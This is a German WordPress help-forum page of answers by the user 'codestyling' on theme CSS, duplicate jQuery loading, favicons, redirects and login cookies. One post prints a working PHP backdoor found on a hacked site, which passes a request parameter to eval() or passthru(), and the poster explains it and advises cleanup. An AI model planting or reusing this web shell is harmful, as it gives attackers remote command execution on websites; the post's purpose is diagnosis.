Beiträge von codestyling

Für einige spezielle Seiten wird in deiner style.css des Themes die Sidebar richtig gesetzt, zum Beispiel auf der Home Seite, weil dort das primary Area richtig positioniert wird:

.home #primary {    
 float: left;     
margin: 0 -26.4% 0 0;     
width: 100%;     
background-color: #ffffff; 
}

Offensichtlich wird hier selektiv gearbeitet, d.h. das nicht jede Art der Ansicht mit Sidebar vorgesehen ist.
Wenn jede Ansicht eine Sidebar haben soll, dann reicht diese Änderung:

#primary {    
 float: left;     
margin: 0 -26.4% 0 0;     
width: 100%;     
background-color: #ffffff; 
}

Ansonsten muß du dir die entsprechenden Ansichten aufrufen, in denen das nicht stimmt und die entsprechende body class genauso definieren wie die body class für home Seite.

Es werden 2 Versionen von jQuery geladen, einmal die 1.5 von deinem Theme und zum Anderen die 1.7.2 von api.google.com (vermutlich durch irgend ein Plugin).
Zwischen den beiden wird der Slider, der jQuery braucht geladen und integriert sich in die 1.5.1. Da danach die Version 1.7.2 geladen wird und die 1.5 überschreibt, ist die Slider Funtkionalität damit wieder entfernt.
Wenn die Seite dann fertig geladen ist und die Scripte ausgeführt werden, gibt es einen Javascript Fehler, weil der Slider unbekannt ist.

Lösen kann man das nur, wenn sowohl das Theme als auch das entsprechende Plugin jQuery von WordPress einbinden anstatt eine eigene Version selbst mitzubringen. Das müssten sich die Autoren des Themes und des entsprechenden Plugins ansehen.

Zitat von viehrig

Ich habe weder eine Ein- noch eine Abschaltmöglichkeit des visuellen Editors im Backend gefunden.

Zu finden unter Benutzer -> Profil -> Visueller Editor

Checkbox anhacken und es wird "hardcore" HTML verwendet, es gibt dann keinen TinyMCE mehr.

Der IE zeigt es nicht an, weil es ein jpeg ist, das nur in *.ico umbenannt wurde.
Für den IE muß! es zwingend ein richtiges ICO File sein, also erstelle eines mit einem ICO Editor oder mittels einem freien ICON Service, der dir aus dem jpeg ein richtiges ICO erstellt!

Das Theme vergleicht die Datei:

wp-content\themes\animepress\bottom.php

, die durch die footer.php geladen wird, mit einer Sicherheitskopie hier:

wp-content\themes\animepress\inc\fbackup.txt

, die eine 1:1 Kopie der originalen bottom.php ist.
Falls sich beide unterscheiden, wird das Theme "totgelegt", so eine Art Selbstschutz und Zwang zum Kauf.

Siehe auch die Kommentare in der bottom.php:

<?php /* 
                    All links in the tag <div class='smthemes'> are attribution of the theme developers and should remain intact. 
                    It's protected by Creative Commons License (http://creativecommons.org/licenses/by/3.0/).
                    Warning! Your site will not be able to work if these links are edited or deleted.
                    You can buy this theme without footer links online at http://smthemes.com/buy/animepress/
                */ ?>
                <div class='smthemes'>Designed by <a href='http://smthemes.com/' target='_blank'>WordPress free themes</a>, thanks to: <a href='http://wpdis.co/' target='_blank'>Best WordPress theme</a>, <a href='http://lizardthemes.com' target='_blank'>LizardThemes.com</a> and <a href='http://fthe.me/animepress/' target='_blank'>Top free WordPress themes</a></div>

Ich geh mal davon aus, dass du die bottom.php manipluliert hast.

Ergänze mal die style.css deines Theme am Ende um:

#supplementary { padding: 1em 7.6%; }
#supplementary .widget, 
#supplementary .widget p { margin-bottom: 0; }

Hört sich nach Script Konflikten an.
Mögliche Lösungsansätze:
- Browser Cache leeren und dann nochmal einloggen.
- Standard Theme probieren (wenn möglich)
Es kann sein, dass dein aktuelles Theme nicht mehr kompatibel zu WP 3.5 ist und eigene, alte Versionen von jQuery mitbringt, die im Backend und einiges kaputt machen. Plugins kommen dafür übrigens auch in Frage, da wäre dann noch ein Punkt zum Testen, ob eines der Plugins nicht mehr mit WP 3.5 arbeitet.

Nochmal der hier: http://faq.wpde.org/wordpress-trot…chnis-aufrufen/

Zitat

1. Kopiere die index.php und, falls vorhanden, .htaccess aus deinem neuen WordPress-Verzeichnis (hier /wordpress) in das Hauptverzeichnis/Stammverzeichnis deines Webspaces, also dem, was du bei Blog-Adresse (URL) angegeben hast.
2. Öffne diese ins Hauptverzeichnis kopierte index.php mit einem Texeditor (Microsoft Word ist keiner).

Da du ja jetzt nix mehr in Hauptordner hast, wird das auch nicht funktionieren. Prüfe nochmal, ob alles wie beschrieben ist.

Was verstehst du unter Sicherung?
Im Moment sieht es so aus, als hättest du alles terminiert, was im Domain Root war (z.B.) alte Seite, weil er noch nicht mal ein index auf der Domain macht sondern Strato default.
Was hast du genau gemacht? Scheint mir so, als machst du es mit jeder Aktion schlimmer.

Sorry, entzieht sich mir immer noch.
Nur nochmal zu Klarstellung, ob ich daraus richtig herauslese:
- Basis soll WordPress sein
- in jeder Seite und/oder Beitrag soll ein eigenes Script angefahren werden

Was ich nicht verstehe, wie kann man ein statusloses Protokoll wie HTTP mit statusbehafteten Objekten benutzen wollen?
Sowas geht über Cookies oder Sessions, was du mit Objekten willst, verstehe ich nicht.

WordPress ist ja im Grunde nur eine Sammlung von PHP Dateien, die in einer bestimmten Reihenfolge ausgeführt werden, eine Webseite produzieren und PHP beendet sich danach wieder. Wie soll da ein Objekt "überleben", es ist ja keine *.exe oder C# App?

Kannst du bitte genauer erläutern, was du vor hast? Mit den gemachten Angaben kann ich keinen Sinn erkennen.

Folgende URL antwortet mit einem redirect permanent (301) und landet dann auf der Hauptdomain:

http://www.speed-buster.de/chiptuning-blog/index.php

Hat jemand an den Einstellungen im Backend rumgespielt und ggf. die Blogadresse/Blog URL verstellt?
Denn der direkte Aufruf von wp-login.php geht und auch von xmlrpc.php.
Alternativ, hat jemand die .htaccess Datei manipuliert?

Kannst du nicht deine heutigen spontanen erstmal Änderungen rückgängig machen?
Danach kann man sich dessen annehmen.

Die Angaben des Hashes als /#!/ sind Bestandteil des Javascripts des Themes. Diese Theme lädt alle Seitenbestandteile bei Javascript und benötigt diese Hash-Manipulation, um überhaupt zu funktionieren.
Das die Bilder nicht mehr funktionieren, liegt daran, dass sie über die URL, die verwendet wurde, nicht mehr erreichbar ist. Die meisten Bilder wollen immer noch dem /Wordpress/ Unterordner haben, der nun aber die Bilder betreffend, teilweise falsch umgeleitet wird.
Hast du sonst irgend welche Umleitungen definiert oder .htaccess verändert?

Du willst vermutlich das hier machen? FAQ: http://faq.wpde.org/wordpress-trot…chnis-aufrufen/

Kannst du bitte mal beschreiben, was du mit Umleitung genau meinst?
Denn es ist ja schon online, sonst könnte man ja nicht drauf zugreifen...

Zitat von germanandre

Klar, ich könnte es mir einfach machen und einfach die Meta Description für Kategorie XY zu übernehmen, das wäre dann die Beschreibung, die ich beim Anlegen der Kategorie angegeben habe, aber das möchte ich nicht.

Die Frage(n), die sich mir dabei stellt(en):
- hast du was besseres mit der Meta vor?
- Warum ein Plugin bemühen, wenn es immer an Board ist, egal ob das Plugin später mal nicht mehr gewartet wird?
- Kosten/Nutzen Rechnung ist nicht relevant (Speicherverbrauch, Speed, Wartung, etc)?

[COLOR=#ff0000]Die Seite ist gehackt[/COLOR], habs mal umgebrochen!

<?php
if(isset($_GET['wp-config-edit'])) {
    if ($_REQUEST['wp-config-edit'] == 'eval') {
        eval(
            get_magic_quotes_gpc() || get_magic_quotes_runtime() 
            ? 
            stripslashes($_REQUEST['gim']) 
            : 
            $_REQUEST['gim']
        );
    } else if ($_REQUEST['wp-config-edit'] == 'exec') {
        passthru(
            get_magic_quotes_gpc() || get_magic_quotes_runtime() 
            ? 
            stripslashes($_REQUEST['gim']) 
            : 
            $_REQUEST['gim']
        );
    }
}
?>

Das ist nicht original in der Datei drin. Da hat sich jemand eine Hintertür reingebaut und ruft die Datei direkt mit eigenen Input auf, der dann einen eval oder passthru ausführt mit dem was in 'gim' Parameter kommt, fall auch der 'wp-config-edit' Parameter einen der Werte eval oder exec hat!

Unbedingt die gesamt Installation checken, Zugänge prüfen, Dateien ersetzen und ggf. die Datenbank ansehen, ob schon etwas verändert wurde.

Ich selbst benutze u.a. FF 17.0.1 und es ist nicht möglich, 2 Tabs so zu öffnen, dass ich in einem eigeloggt bin und in 2. nicht. Spätestens nach dem F5 in vermeintlich nicht eingeloggten Tab bin ich eingeloggt durch das Cookie, was der andere Tab gesetzt hat. Zu sehen dann u.a. an der Admin Bar (sofern im Frontend aktiviert) und an den Edit links pro Artikel, die im nicht eingeloggten Zustand nicht da sind.

Mir ist außer meiner o.g. Möglichkeit kein Weg bekannt, wie 2 Tabs so isolierst werden können.

Zitat von borusse

Natürlich geht das. Im ersten Tab rufst du den Blog ganz normal auf wie jede andere Webseite auch die man betrachtet. Man öffnet einen 2. Tab des Browsers rufst deinen Blog wieder auf und loggst dich ein. Dort fummelst du am Blog rum und im 1. Tab schaust du das Ergebnis an. Bei mir geht das und gut ists.

Welcher Browser mit welchen Plugins und Einstellungen auf welchen OS?